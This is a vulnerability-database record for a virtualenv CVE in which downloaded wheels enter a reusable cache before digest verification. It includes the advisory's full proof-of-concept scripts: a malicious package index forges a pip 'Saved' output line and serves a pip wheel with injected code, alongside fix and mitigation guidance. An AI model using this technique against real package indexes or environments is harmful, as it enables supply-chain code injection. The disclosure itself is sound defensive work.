{"id":"CVE-2026-113714","kind":"vulnerability","aliases":["CVE-2026-113714","GHSA-494p-63j8-28p3"],"related":[],"title":"virtualenv: Downloaded wheel selection and caching precede verification","description":"## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved <path>` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I->>P: modified wheel and forged Saved line\n    P->>C: write modified wheel directly\n    P-->>V: stdout names genuine bundled wheel\n    V->>V: hash genuine wheel and accept\n    V->>C: record modified wheel for reuse\n    C->>N: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved <path>\" line into pip's output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: make pip print a \"Saved <path>\" line of its choice.\n\nusage: index_forges_saved_line.py <index_dir>\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding <link> (requires-python:<attribute>): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        '<a href=\"/files/pip-100.0-py3-none-any.whl\"'\n        f' data-requires-python=\"&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;\">pip-100.0-py3-none-any.whl</a>\\n'\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py <index_dir>\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv's comparison with PyPI's SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b'\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n'\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's\n# download folder first, and pip replaces a file of the same name there only when the link's digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f'<!DOCTYPE html>\\n<a href=\"/files/{wheel.name}#sha256={sha256}\">{wheel.name}</a>\\n'\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py <pypi_dir> <index_dir>\n\nThe wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what\nhttps://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.\n<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f'<a href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\">{filename}</a>')\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"<!DOCTYPE html>\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>\n\nOnly the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.","summary":"virtualenv picks the file to verify from pip's text output and leaves rejected wheels in its reusable wheel cache. A malicious package index can therefore get a modified pip wheel accepted and seeded into new environments, where its injected code runs.","severity":"low","cvss":2.3,"epss":0.00212,"exploited":false,"exploited_at":null,"products":[{"name":"virtualenv","fixed":["21.14.9"],"affected":"< 21.14.9","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ci","cwe-354","package","pip","python","self-hosted","virtualenv"],"not_affected_if":["default-pypi-only","managed-hosting","virtualenv-21.14.9-or-later"],"how_to_check":"- Run `virtualenv --version` and compare against `21.14.9`.\n- Check whether a custom index is set in `pip.conf` or `PIP_INDEX_URL`, since the attack needs the index operator to be the one serving packages.\n- Inspect the cache at `~/.cache/virtualenv/wheel/house` for unexpected wheels.","fix":"- Upgrade `virtualenv` to `21.14.9`.\n- Delete `~/.cache/virtualenv/wheel` and rebuild environments after upgrading.\n- Remove or restrict untrusted custom package indexes.","status":"open","published_at":"2026-10-20T19:17:34+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","triaged_at":"2026-10-25T04:49:50+00:00","updated_at":"2026-10-25T04:49:50+00:00","category":"package","confidence":0.6,"triage":{"at":"2026-10-25T04:49:50Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `virtualenv` to `21.14.9`.\n- Delete `~/.cache/virtualenv/wheel` and rebuild environments after upgrading.\n- Remove or restrict untrusted custom package indexes.","reach":"network","title":"virtualenv: wheel cache takes downloads before digest verification, enabling code injection","impact":"high","summary":"virtualenv picks the file to verify from pip's text output and leaves rejected wheels in its reusable wheel cache. A malicious package index can therefore get a modified pip wheel accepted and seeded into new environments, where its injected code runs.","category":"package","nicknames":[],"who_cares":["python","virtualenv","pip","self-hosted","ci"],"confidence":0.6,"needs_auth":"no","worst_case":"Attacker code runs in new environments seeded from a poisoned cached pip","analyst_note":"Confirm whether the advisory's attack prerequisites (custom index, known absolute path) make real exposure rare; check GHSA-494p-63j8-28p3 and PR #3430 for details.","how_to_check":"- Run `virtualenv --version` and compare against `21.14.9`.\n- Check whether a custom index is set in `pip.conf` or `PIP_INDEX_URL`, since the attack needs the index operator to be the one serving packages.\n- Inspect the cache at `~/.cache/virtualenv/wheel/house` for unexpected wheels.","needs_analyst":true,"not_affected_if":["default-pypi-only","managed-hosting","virtualenv-21.14.9-or-later"],"who_is_affected":"Teams that run virtualenv below 21.14.9 on machines that use a custom or internal package index, since the attack needs an index operator who can serve a modified wheel. Default PyPI-only setups are not the reported scenario, and the advisory says the attack also requires a known absolute path to a genuine bundled wheel. Teams using only pypi.org with default configuration can skip urgent action but should still upgrade.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001184,"input_tokens":8187,"output_tokens":730,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-005':118C '-113714':11A,19A '-2026':10A,18A,113C,575C '-20261015':117C '-354':23B '/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).':192C '/pypa/virtualenv/pull/3430)':461C '/tmp/forged-saved-line':659C '/tmp/repro.d':594C,656C '/usr/bin/env':634C '15':121C '2026':123C '21.14.8':181C '21.7.12':456C '28p3':16A '3251':452C '3430':458C '494p':14A '63j8':15A 'a857a7823c73':582C 'absolut':390C 'accept':62B,416C,477C,535C 'actual':228C,470C 'add':336C,381C,450C 'advisori':630C 'affect':124C,177C,439C 'alon':313C 'also':406C 'ant':112C,574C 'anthrop':105C 'app':663C 'archiv':146C,471C 'area':125C 'atexit':637C 'attack':136C,332C,478C 'attacker-control':135C 'attribut':248C 'avail':427C 'behavior':616C 'bug':612C 'bundl':328C,353C,395C,527C 'bypass':436C 'byte':272C,426C 'c':493C,517C,537C,543C,553C 'cach':6A,50B,104C,134C,205C,268C,282C,496C,562C,666C 'capabl':605C 'case':306C,333C,595C 'chang':597C 'check':189C,449C,502C 'ci':21B 'claim':434C 'code':71B,178C 'commit':581C 'companion':591C,654C 'comparison':176C,300C 'configur':294C,485C 'contain':344C,606C 'control':137C,305C 'custom':168C 'custom-index':167C 'cve':9A,17A 'cwe':22B 'data':245C,341C,664C 'data-requires-python':244C,340C 'default':159C,441C 'default-index':158C 'differ':152C 'digest':161C,188C,258C,299C,361C,448C,501C 'direct':77C,200C,521C 'directori':467C 'discard':241C 'dispos':602C 'download':2A,75C,100C,126C,140C,186C,194C,263C,462C,491C 'emb':317C 'enabl':165C,302C 'enter':266C 'entrypoint':589C 'environ':67B,325C,374C,507C 'error':362C 'even':554C 'evid':287C,623C 'except':170C 'exist':166C,252C 'exit':358C 'expect':590C 'f':670C 'fail':142C 'failur':95C,251C 'file':34B,101C,155C,226C,283C,417C,564C,567C,592C,619C 'first':215C,453C 'follow':446C,566C 'forg':255C,346C,513C 'gap':445C 'genuin':352C,394C,526C,532C 'get':57B 'ghsa':13A 'ghsa-494p-63j8-28p3':12A 'github.com':191C,460C 'github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).':190C 'github.com/pypa/virtualenv/pull/3430)':459C 'go':76C 'hash':212C,280C,531C 'hashlib':639C 'home':660C,662C,665C 'host':29B 'id':599C 'imag':586C 'import':636C,638C,640C,642C,644C,646C,648C,652C 'includ':621C 'index':54B,160C,169C,233C,293C,335C,384C,486C 'inject':70B,235C 'input':138C 'json':641C 'known':389C 'last':608C 'later':156C,275C,373C,429C 'leav':43B,424C 'line':217C,238C,256C,348C,380C,515C,610C 'link':242C,338C 'local':292C 'log':370C 'malici':52B 'mechan':193C 'mermaid':480C 'mismatch':259C,321C 'modifi':59B,310C,365C,510C,519C,539C,546C 'must':141C,151C,163C 'n':504C,544C 'name':421C,525C 'need':600C 'new':66B,506C 'note':550C 'occur':617C 'octob':122C 'os':643C 'oss':107C 'output':41B,92C,150C,609C 'outsid':172C 'p':488C,509C,516C,522C,552C 'packag':24B,53B,232C 'part':400C 'particip':482C,487C,492C,497C,503C 'path':210C,391C,653C,655C,658C 'pathlib':651C 'pick':32B 'pip':25B,38B,60B,89C,149C,197C,219C,227C,311C,329C,376C,490C,547C 'pip.conf':296C 'place':229C 'point':349C 'pr':457C 'preced':7A 'prerequisit':398C 'previous':415C 'privat':465C 'promis':174C 'promot':129C,473C 'pypi':175C,298C,442C 'python':26B,247C,343C,669C 'python3':635C 'rais':260C 'ran':378C 'rather':222C 'receiv':119C 'record':363C,538C 'refus':319C,410C 'rehash':549C 'reject':44B,271C,425C,556C 'releas':454C 'relev':180C 'remain':273C,559C 'remov':98C 'replac':413C 'report':109C,405C,572C,615C 'repro':588C,632C 'reproduc':563C 'reproduct':285C,386C 'requir':246C,342C 'rerun':627C 'reus':157C,542C 'reusabl':48B,80C,132C,203C 'root':604C 'root-cap':603C 'run':72B 'save':216C,347C,514C 'scanner':108C,289C,571C,585C 'seed':64B,545C 'select':4A,87C,127C,147C,208C,277C 'self':28B 'self-host':27B 'separ':250C 'sequenc':479C 'sequencediagram':481C 'serv':308C 'setup':443C 'show':407C 'shutil':645C 'sourc':182C 'st00dro3':114C,576C 'stdout':221C,524C 'still':301C 'subprocess':647C 'subsequ':324C 'summari':73C 'sys':649C 'target':85C 'tell':196C 'temporari':466C 'test':579C 'text':40B,633C 'textual':91C 'therefor':56B 'tls':437C 'updat':369C,631C 'upgrad':316C,356C 'upgrade-embed-wheel':315C 'use':290C,326C,387C,430C 'user':598C 'v':498C,523C,529C,530C,536C 'variant':403C 'verif':8A,84C,94C,143C,162C 'verifi':36B,468C 'version':377C 'virtualenv':1A,20A,30B,31B,116C,314C,500C,667C 'wheel':3A,45B,49B,61B,74C,133C,185C,195C,264C,276C,312C,318C,354C,366C,396C,411C,511C,520C,528C,533C,540C,557C 'wheel/house':204C,423C,495C 'wheelhous':81C 'whose':339C 'without':253C,359C,548C 'work':657C,661C 'write':199C,518C","nicknames":[],"mitigations":[],"who_affected":"Teams that run virtualenv below 21.14.9 on machines that use a custom or internal package index, since the attack needs an index operator who can serve a modified wheel. Default PyPI-only setups are not the reported scenario, and the advisory says the attack also requires a known absolute path to a genuine bundled wheel. Teams using only pypi.org with default configuration can skip urgent action but should still upgrade.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T19:17:34+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-113714","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113714","severity":null,"published_at":"2026-10-20T19:17:34+00:00","modified_at":"2026-10-20T20:17:17+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null},{"source":"ghsa","external_id":"GHSA-494p-63j8-28p3","url":"https://github.com/advisories/GHSA-494p-63j8-28p3","severity":"low","published_at":"2026-10-23T22:25:22+00:00","modified_at":"2026-10-23T22:25:23+00:00","first_seen_at":"2026-10-23T22:27:42+00:00","fetched_at":"2026-10-23T22:27:42+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}